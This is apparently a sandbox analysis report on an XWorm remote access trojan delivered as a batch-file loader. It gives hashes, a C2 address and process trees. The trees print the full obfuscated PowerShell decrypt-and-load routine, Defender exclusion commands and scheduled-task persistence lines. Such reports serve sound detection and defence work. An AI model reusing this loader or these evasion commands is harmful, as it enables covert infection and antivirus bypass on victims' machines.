xworm | ebd66fd9265f312babcebc214c9e23433e0c0e88504c5859f034bdacffd54ddb

Analysis

max time kernel
450s
max time network
450s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2024, 22:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Monker_loader (1).bat
Size 294KB
Sample240607-14x7badd41
SHA256 ebd66fd9265f312babcebc214c9e23433e0c0e88504c5859f034bdacffd54ddb
MD5 2b235c5e792b8c3dcbc4ccd0ccff02de
SHA1 6dd8fac6545df5f64bda4e746f3921d9a072bb59
SHA512 cf61c50763cf8656bfb23250553052c1191179d30b50884f1cf8dcae64be48eae8dc43b9ccdb453e38e71bd4f5cfe94f8d44e86ba80552232eacdf23bac99e2f
SSDEEP 6144:6pA2upleIJqLKXd33GCpiMcOa+7seZEN3CbryZPhvAF8:6pAdpwoqa93GO2Oa+tON3CbGvf
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

135.125.21.87:7000

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5520-84-0x000001E1765B0000-0x000001E1765C8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
105	5520	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3056	powershell.exe
2224	powershell.exe
5520	powershell.exe
6068	powershell.exe
5300	powershell.exe
5604	powershell.exe
5664	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win32.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win32.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
912	Win32

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Win32 = "C:\\Users\\Admin\\AppData\\Roaming\\Win32"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5828	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133622719889299447"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1181767204-2009306918-3718769404-1000\{EFC73A65-9B70-41FA-BB57-3BE6590937BC}	chrome.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3056	powershell.exe
3056	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
1296	chrome.exe
1296	chrome.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
6068	powershell.exe
6068	powershell.exe
6068	powershell.exe
5300	powershell.exe
5300	powershell.exe
5300	powershell.exe
5604	powershell.exe
5604	powershell.exe
5604	powershell.exe
5664	powershell.exe
5664	powershell.exe
5664	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe
5520	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5520	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe
Token: 33	2224	powershell.exe
Token: 34	2224	powershell.exe
Token: 35	2224	powershell.exe
Token: 36	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe
Token: 33	2224	powershell.exe
Token: 34	2224	powershell.exe
Token: 35	2224	powershell.exe
Token: 36	2224	powershell.exe
Token: SeIncreaseQuotaPrivilege	2224	powershell.exe
Token: SeSecurityPrivilege	2224	powershell.exe
Token: SeTakeOwnershipPrivilege	2224	powershell.exe
Token: SeLoadDriverPrivilege	2224	powershell.exe
Token: SeSystemProfilePrivilege	2224	powershell.exe
Token: SeSystemtimePrivilege	2224	powershell.exe
Token: SeProfSingleProcessPrivilege	2224	powershell.exe
Token: SeIncBasePriorityPrivilege	2224	powershell.exe
Token: SeCreatePagefilePrivilege	2224	powershell.exe
Token: SeBackupPrivilege	2224	powershell.exe
Token: SeRestorePrivilege	2224	powershell.exe
Token: SeShutdownPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeSystemEnvironmentPrivilege	2224	powershell.exe
Token: SeRemoteShutdownPrivilege	2224	powershell.exe
Token: SeUndockPrivilege	2224	powershell.exe
Token: SeManageVolumePrivilege	2224	powershell.exe
Token: 33	2224	powershell.exe
Token: 34	2224	powershell.exe
Token: 35	2224	powershell.exe

Suspicious use of FindShellTrayWindow 60 IoCs

pid	Process
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
5576	notepad.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe

Suspicious use of SendNotifyMessage 56 IoCs

pid	Process
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe
1296	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5520	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 5004	2456	cmd.exe	90
PID 2456 wrote to memory of 5004	2456	cmd.exe	90
PID 5004 wrote to memory of 1772	5004	net.exe	91
PID 5004 wrote to memory of 1772	5004	net.exe	91
PID 2456 wrote to memory of 3056	2456	cmd.exe	95
PID 2456 wrote to memory of 3056	2456	cmd.exe	95
PID 3056 wrote to memory of 2224	3056	powershell.exe	98
PID 3056 wrote to memory of 2224	3056	powershell.exe	98
PID 1296 wrote to memory of 1048	1296	chrome.exe	105
PID 1296 wrote to memory of 1048	1296	chrome.exe	105
PID 3056 wrote to memory of 2736	3056	powershell.exe	106
PID 3056 wrote to memory of 2736	3056	powershell.exe	106
PID 2736 wrote to memory of 5092	2736	WScript.exe	107
PID 2736 wrote to memory of 5092	2736	WScript.exe	107
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 4108	1296	chrome.exe	110
PID 1296 wrote to memory of 3140	1296	chrome.exe	111
PID 1296 wrote to memory of 3140	1296	chrome.exe	111
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112
PID 1296 wrote to memory of 3636	1296	chrome.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Monker_loader (1).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YEfma8Fsqpo8Nxcmsh2LlMT5phz3RC1od46Bs4haKuk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bS7q7G7pSQFFezaTbyErVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HUiNZ=New-Object System.IO.MemoryStream(,$param_var); $wYjxe=New-Object System.IO.MemoryStream; $eamGN=New-Object System.IO.Compression.GZipStream($HUiNZ, [IO.Compression.CompressionMode]::Decompress); $eamGN.CopyTo($wYjxe); $eamGN.Dispose(); $HUiNZ.Dispose(); $wYjxe.Dispose(); $wYjxe.ToArray();}function execute_function($param_var,$param2_var){ $ddqEY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KPhFH=$ddqEY.EntryPoint; $KPhFH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Monker_loader (1).bat';$zudcm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Monker_loader (1).bat').Split([Environment]::NewLine);foreach ($XVfwy in $zudcm) { if ($XVfwy.StartsWith(':: ')) { $bxXKt=$XVfwy.Substring(3); break; }}$payloads_var=[string[]]$bxXKt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_432_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_432.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_432.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_432.bat" "
      4⤵
      PID:5092
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        
        PID:5140
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:5156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YEfma8Fsqpo8Nxcmsh2LlMT5phz3RC1od46Bs4haKuk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bS7q7G7pSQFFezaTbyErVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HUiNZ=New-Object System.IO.MemoryStream(,$param_var); $wYjxe=New-Object System.IO.MemoryStream; $eamGN=New-Object System.IO.Compression.GZipStream($HUiNZ, [IO.Compression.CompressionMode]::Decompress); $eamGN.CopyTo($wYjxe); $eamGN.Dispose(); $HUiNZ.Dispose(); $wYjxe.Dispose(); $wYjxe.ToArray();}function execute_function($param_var,$param2_var){ $ddqEY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KPhFH=$ddqEY.EntryPoint; $KPhFH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_432.bat';$zudcm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_432.bat').Split([Environment]::NewLine);foreach ($XVfwy in $zudcm) { if ($XVfwy.StartsWith(':: ')) { $bxXKt=$XVfwy.Substring(3); break; }}$payloads_var=[string[]]$bxXKt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        
        PID:5520
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6068
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5300
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Win32'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5604
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Win32'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5664
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Win32" /tr "C:\Users\Admin\AppData\Roaming\Win32"
        6⤵
        Creates scheduled task(s)
        
        PID:5828

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff83336ab58,0x7ff83336ab68,0x7ff83336ab78
  2⤵
  PID:1048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1724 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:2
  2⤵
  PID:4108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2004 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:8
  2⤵
  PID:3140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2256 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:8
  2⤵
  PID:3636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3092 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:1
  2⤵
  PID:460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3100 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:1
  2⤵
  PID:3272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4240 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:1
  2⤵
  PID:5172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4416 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:8
  2⤵
  PID:5252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4572 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:8
  2⤵
  PID:5272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4608 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:8
  2⤵
  PID:5772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4712 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:8
  2⤵
  PID:5816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4916 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:8
  2⤵
  PID:5864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4780 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:1
  2⤵
  PID:6100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4816 --field-trial-handle=2028,i,18274215648902151260,14051147036383381822,131072 /prefetch:1
  2⤵
  PID:5324
